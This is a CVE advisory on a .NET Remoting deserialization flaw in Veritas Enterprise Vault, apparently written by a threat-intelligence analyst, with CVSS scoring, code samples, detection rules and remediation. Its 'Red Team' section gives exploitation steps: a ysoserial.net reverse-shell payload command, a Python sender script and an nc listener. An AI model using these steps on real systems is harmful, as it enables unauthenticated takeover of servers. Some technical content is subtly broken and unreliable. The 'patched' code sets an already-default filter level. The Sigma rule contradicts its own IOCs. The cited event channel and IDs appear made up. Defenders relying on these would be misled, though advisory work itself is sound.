CVE-2024-53913

Executive Summary

CVE-2024-53913 is a critical unauthenticated remote code execution vulnerability in Veritas Enterprise Vault, a widely used enterprise archiving solution. The flaw resides in the .NET Remoting service, which listens on a TCP port and deserializes untrusted data without proper validation. An attacker can send a crafted serialized object to trigger arbitrary code execution with the privileges of the Enterprise Vault service account. With a CVSS score of 9.8, this vulnerability poses a severe risk to confidentiality, integrity, and availability. No public proof-of-concept or exploit code has been released as of this report, but the technical details are sufficient for advanced threat actors to develop weaponized exploits.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – exploitable remotely without physical access.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – the vulnerable component and impacted component are the same.
• Confidentiality Impact: High (C:H) – full data compromise possible.
• Integrity Impact: High (I:H) – attacker can modify data or system state.
• Availability Impact: High (A:H) – service disruption or denial of service possible.

Threat Level: Critical. The combination of network accessibility, no authentication, and full system compromise makes this a top-priority vulnerability for patching.

Deep Dive & Mechanics

The vulnerability is a classic .NET deserialization flaw (CWE-502). Veritas Enterprise Vault uses .NET Remoting for inter-process communication. The server exposes a .NET Remoting endpoint on a TCP port (commonly 8400 or 8401). When a client connects and sends a serialized object, the server deserializes it using BinaryFormatter without any type validation or SerializationBinder restrictions.

An attacker can craft a malicious serialized object that, upon deserialization, executes arbitrary code. Common techniques include using TextFormattingRunProperties, DataSet, or ObjectDataProvider gadgets available in the .NET Framework. The code executes in the context of the Enterprise Vault service account, which typically has high privileges.

The root cause is the lack of a custom SerializationBinder to whitelist allowed types, combined with the use of the inherently unsafe BinaryFormatter. The fix in version 15.2 likely involves either replacing BinaryFormatter with a safer alternative (e.g., Newtonsoft.Json with TypeNameHandling.None) or implementing strict type filtering.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-15.2):

// Example of vulnerable .NET Remoting server setup
TcpServerChannel channel = new TcpServerChannel(8400);
ChannelServices.RegisterChannel(channel, false);
RemotingConfiguration.RegisterWellKnownServiceType(
    typeof(EnterpriseVaultService),
    "EnterpriseVaultService",
    WellKnownObjectMode.Singleton
);

The false parameter in RegisterChannel disables security, and no BinaryServerFormatterSinkProvider with type filtering is configured.

Patched Code (15.2+):

// Example of patched approach using type filtering
BinaryServerFormatterSinkProvider provider = new BinaryServerFormatterSinkProvider();
provider.TypeFilterLevel = TypeFilterLevel.Low; // Restricts allowed types
IDictionary props = new Hashtable();
props["port"] = 8400;
TcpServerChannel channel = new TcpServerChannel(props, provider);
ChannelServices.RegisterChannel(channel, false);

Alternatively, the vendor may have migrated to WCF or gRPC with proper input validation.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Veritas Enterprise Vault instance (version < 15.2) in an isolated VM.
2. Identify the .NET Remoting port using netstat -ano or Nmap: nmap -p 8400-8405 <target>.
3. Use a tool like ysoserial.net to generate a malicious payload.

Exploitation Steps:

1. Generate a reverse shell payload using ysoserial.net:

   ysoserial.exe -f BinaryFormatter -g TextFormattingRunProperties -o raw -c "powershell -e <base64_encoded_rev_shell>" > payload.bin
   

2. Send the payload to the .NET Remoting endpoint:

   import socket
   with open('payload.bin', 'rb') as f:
       payload = f.read()
   s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
   s.connect(('target_ip', 8400))
   s.send(payload)
   s.close()
   

3. Listen for the reverse shell on your attacker machine:

   nc -lvnp 4444
   

Expected Outcome: A shell as NT AUTHORITY\SYSTEM or the Enterprise Vault service account.

Blue Team (Defensive)

Detection:

• Monitor for unusual network connections to the .NET Remoting port (8400-8405) from untrusted sources.
• Enable .NET deserialization logging via ETW (Event Tracing for Windows):

  wevtutil epl "Microsoft-Windows-DotNETRuntime/Deserialization" deserialization.evtx
  

• Use Sysmon Event ID 7 (Image loaded) to detect BinaryFormatter usage.

Hunting:

• Search for processes loading System.Runtime.Serialization.Formatters.Soap.dll or System.Runtime.Serialization.Formatters.Binary.dll unexpectedly.
• Look for child processes spawned by EnterpriseVault.exe (e.g., cmd.exe, powershell.exe).

Indicators of Compromise (IOCs)

• Network: TCP connections to ports 8400-8405 from external IPs.
• Process: EnterpriseVault.exe spawning cmd.exe, powershell.exe, or rundll32.exe.
• File: Suspicious .bin or .dat files in %TEMP% or C:\ProgramData\Veritas\.
• Registry: Unusual entries under HKLM\SOFTWARE\Veritas\Enterprise Vault\.
• Logs: Windows Event ID 6423 (deserialization failure) or 6424 (deserialization success) in Microsoft-Windows-DotNETRuntime/Deserialization.

Detection Engineering

YARA Rule

rule CVE_2024_53913_Deserialization {
    meta:
        description = "Detects malicious .NET BinaryFormatter payloads targeting Veritas Enterprise Vault"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-53913"
    strings:
        $binary_formatter = { 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 00 }
        $gadget_1 = "TextFormattingRunProperties"
        $gadget_2 = "ObjectDataProvider"
        $gadget_3 = "DataSet"
    condition:
        $binary_formatter and any of ($gadget*)
}

Sigma Rule

title: CVE-2024-53913 .NET Remoting Exploitation Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network connections to Veritas Enterprise Vault .NET Remoting ports from suspicious sources
author: Valters IT
date: 2025-04-10
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort:
            - 8400
            - 8401
            - 8402
            - 8403
            - 8404
            - 8405
        Initiated: true
        SourceIp:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
    filter:
        SourceIp:
            - '127.0.0.1'
            - '::1'
    condition: selection and not filter
falsepositives:
    - Legitimate internal Enterprise Vault clients
level: high
tags:
    - attack.t1190
    - cve.2024.53913

Suricata Rule

alert tcp $EXTERNAL_NET any -> $HOME_NET 8400-8405 (msg:"CVE-2024-53913 Veritas Enterprise Vault .NET Remoting Exploitation Attempt"; flow:to_server,established; content:"|00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 00|"; depth:16; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade to Veritas Enterprise Vault 15.2 or later immediately.
2. Network Segmentation: Restrict access to the .NET Remoting ports (8400-8405) to only trusted internal IPs using firewall rules.
3. Disable .NET Remoting: If not required, disable the .NET Remoting service entirely.

Long-Term Hardening:

• Implement application-level input validation and use safe serialization libraries (e.g., Newtonsoft.Json with TypeNameHandling.None).
• Enable Windows Defender Application Control (WDAC) to block untrusted binaries.
• Deploy an IDS/IPS with the provided Suricata rule.
• Monitor for deserialization-related ETW events.

Workaround (if patching is delayed):

• Use a custom SerializationBinder to whitelist only known types.
• Apply a registry key to restrict .NET Remoting to localhost only (if feasible).

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst